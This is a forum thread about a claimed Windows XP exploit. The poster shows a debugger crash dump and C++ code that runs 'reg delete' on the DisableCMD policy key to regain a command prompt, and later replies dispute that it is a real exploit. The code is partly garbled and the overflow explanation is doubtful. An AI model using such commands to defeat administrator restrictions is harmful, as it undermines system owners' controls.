Jump to content
Tuts 4 You

Windows XP 32 Bit Policy Exploit


JMC31337

Recommended Posts

Short of it is: I was working on long pointer strings and found this



This exception may be expected and handled.
eax=0022fc54 ebx=00000000 ecx=0022fca7 edx=7c90e514 esi=80000003 edi=00000000
eip=80000003 esp=0022fc5c ebp=0022fca4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
80000003 ?? ???
0:000> gh
(1650.139c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0022fc54 ebx=00000000 ecx=0022fca7 edx=7c90e514 esi=80000003 edi=00000000
eip=80000003 esp=0022fc5c ebp=0022fca4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
80000003 ?? ???
0:000> !load msec
0:000> !exploitable
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Read Access Violation at the Instruction Pointer starting at Unknown Symbol @ 0xffffffff80000003 (Hash=0x6e05193a.0x7505193a) Access violations at the instruction pointer are exploitable if not near NULL

trying to exploit this i managed to get dumped into a Console prompt breaking past DisableCMD=2 policy settings


The operation completed successfully
The command prompt has been disabled by your administrator.
Press any key to continue . . .
Error:  The system was unable to find the specified registry key or value
M:\Dev-Cpp>

using this code



//DEV-C++
//Link w/ -lwinmm -lgdi32
//===============================================
#include <iostream>
#include <windows.h>
#include <ctime>
#include <cstdlib>
//#include <commctrl.h>
#include <iomanip>
#include <stdexcept>
#include <excpt.h>
#include <dbghelp.h>
#include <sstream>
#include <string>
#include <tchar.h>
#include <cmath>
#include <tlhelp32.h>
#include <stdio.h>
#include <conio.h>
#include <io.h>
#include <fcntl.h>
#define _USE_MATH_DEFINES
#define VK_NUMPAD1 0x61 using namespace std; unsigned long int len;
LPSTR lpBuffer,lpFinal,lpTemp;
int zzz;
unsigned long int u,y;
char array[15]={'\0'};
char str,strTmp;
LPSTR lpPoppin; void fx1(LPSTR lpTemp)
{
lpPoppin = new char[strlen(lpBuffer)];
lstrcpy(lpFinal,lpTemp);
int seg=0;
for(int ff=10;ff<=strlen(lpBuffer);ff++)
{ lpPoppin[seg] = lpFinal[ff];
seg++;
}
lstrcat(lpPoppin," /k reg delete HKCU\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /f");
WinExec(lpPoppin,5); //WM_SHOW = 5 }
int main()
{
lpBuffer = "         ";
u=0;y=0;
lpFinal = new char[strlen(lpBuffer)+1];
*lpFinal = 0;
lpTemp = new char[strlen(lpBuffer)+1];
*lpTemp = 0; for(int gg=0;gg<=strlen(lpBuffer);gg++)
{ //lpTemp[gg]=0; }
while(u<=strlen(lpBuffer))
{
lpTemp[y]=lpBuffer[u]; if(lpTemp[y] == ' ')
{
MessageBox(0,0,"Space",0);
fx1(lpTemp);
}
if(u==strlen(lpBuffer))
{
MessageBox(0,0,"End",0);
fx1(lpTemp);
break;
} else
{
y++;
u++;
} }
cout<<"\nlpBuffer:"<<lpBuffer;
cout<<"\nlpTemp:"<<lpTemp;
cout<<"\nStrlenof lpBuffer:"<<strlen(lpBuffer);
cout<<"\nStrlenof lpTemp:"<<strlen(lpTemp);
getchar();
return 0; }

for whatever reason, once the long pointer string buffer that was created is setup their is a \cmd sitting in the memory overflowing into the buffer until it is overwritten or concatenated.. seeing this i setup another lpstr variable and simply copied the cmd from the overflown memory into its own variable then lstrcat the exploit to delete the particular DisableCMD reg key and it dropped me straight to CONSOLE cli


 


old news, but MCSFT said that a simple DisableCMD would prevent this type of privileged exploit, supposedly the:


 


V. WORKAROUND


Restrict console access on public terminals where security is a concern.


This can be accomplished by creating the following registry key:


HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System


Add a DWORD named DisableCMD with the value "1" to disable command prompt and batch files or the value "2" to disable command prompt but allow batch files.


(see http://channel9.msdn.com/Forums/Coffeehouse/55526-Serious-Privilege-Escalation-Exploit)


Edited by JMC31337
Link to comment

Right!
Pure work of a mad doctor
Who would have thought reg delete would do that...
But where oh where does the cmd.exe get ran from in memory?

Edited by JMC31337
Link to comment

how did you run the file in the first place? Via a batch file? That's your cmd.exe invocation, and having deleted the policy setting, you regain access to your command prompt.

Besides, public terminals shouldn't allow you to run arbitrary programs in the first place, so you shouldn't be able to introduce the file that deletes the policy.

Link to comment

how did you run the file in the first place? Via a batch file? That's your cmd.exe invocation, and having deleted the policy setting, you regain access to your command prompt. Besides, public terminals shouldn't allow you to run arbitrary programs in the first place, so you shouldn't be able to introduce the file that deletes the policy.

 

No batch file.. GUI double click (WinExec)

A few years ago i did research upon the difference between WinExec ShellExecute Command.com cmd.exe

If memory serves me correctly: When you use the GUI to "run" an exe file its sending the WinExec API

However, if i were to try ShellExecute it would give the System Admin Disabled message the same if i had tried to run cmd.exe

Command.com bypasses this too  (Windows on Windows - WoW system- is different)

 

Public Terminals will always let you run Winexecute, or else you would never be able to run any web browsers... So this "exploit" is ran using the WinExec which furthers attempts to grab the CMD from overflowed memory and run whatever it is you want: I.e. cmd.exe 

 

thats my theory... 

Link to comment

Let me get some things straight. 


 


Your user privileges on that PC allow you to:


a. execute program of your choice in that restricted environment. Doesn't matter what program or how it's started (WinExec/ShellExecute/CreateProcess). Main point is - you can.


b. delete DisableCMD registry value. Again - it doesn't matter which API function you use, doesn't matter if you use regedit.exe, "cmd.exe /k", reg.exe or just call some API. Main point is - you can.


If both a. and b. are true, your code is not an exploit for XP Security Policies. It just combines 2 actions which were both allowed on PC in question. It's still possible that you have discovered some issue with WinExec and command-line parsing - but it has nothing to do with XP Security Policies. 


 


For more reading - Google about privilege boundaries and how they relate to what is and what isn't an exploit. Or just start here: http://doubt.pernick.org/2007/07/06/windows-security-boundaries/ and check the linked posts too.


  • Like 1
Link to comment

Let me get some things straight. 

 

Your user privileges on that PC allow you to:

a. execute program of your choice in that restricted environment. Doesn't matter what program or how it's started (WinExec/ShellExecute/CreateProcess). Main point is - you can.

b. delete DisableCMD registry value. Again - it doesn't matter which API function you use, doesn't matter if you use regedit.exe, "cmd.exe /k", reg.exe or just call some API. Main point is - you can.

If both a. and b. are true, your code is not an exploit for XP Security Policies. It just combines 2 actions which were both allowed on PC in question. It's still possible that you have discovered some issue with WinExec and command-line parsing - but it has nothing to do with XP Security Policies. 

 

For more reading - Google about privilege boundaries and how they relate to what is and what isn't an exploit. Or just start here: http://doubt.pernick.org/2007/07/06/windows-security-boundaries/ and check the linked posts too.

well actually.. up until i placed DisableCMD=2 

i could do all those things

after that was set, i could not run cmd.exe with either winexec or shellexec or double click(winexec) cmd.exe to run it

i could however still run command.com

After i runthe above ( I USE THE TERM LOOSELY)   "exploit"  even if DisableCMD=2 is set

(which says NO CMD and NO BAT files) i could reproduce that original PoC

 

With DisableCMD=2 if i had used Dev-C++ to run cmd.exe (without /k params) with ShellExecute or WinExec i would get the ADMIN DISABLE bla bla msg

Edited by JMC31337
Link to comment
  • 2 weeks later...

ShellExecute can invoke cmd.exe, which is why you see the message.

command.com isn't CMD. The policy restricts CMD. The fact that command.com isn't protected is probably for legacy support, but I don't know.

It's not an issue for x64, obviously. :-)

If you can get your program to run, then you can delete the registry key, and then you get access.

The policy isn't a security boundary, because if you run command.com, then you can run regedit.exe, and then delete the key by yourself.

Link to comment

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...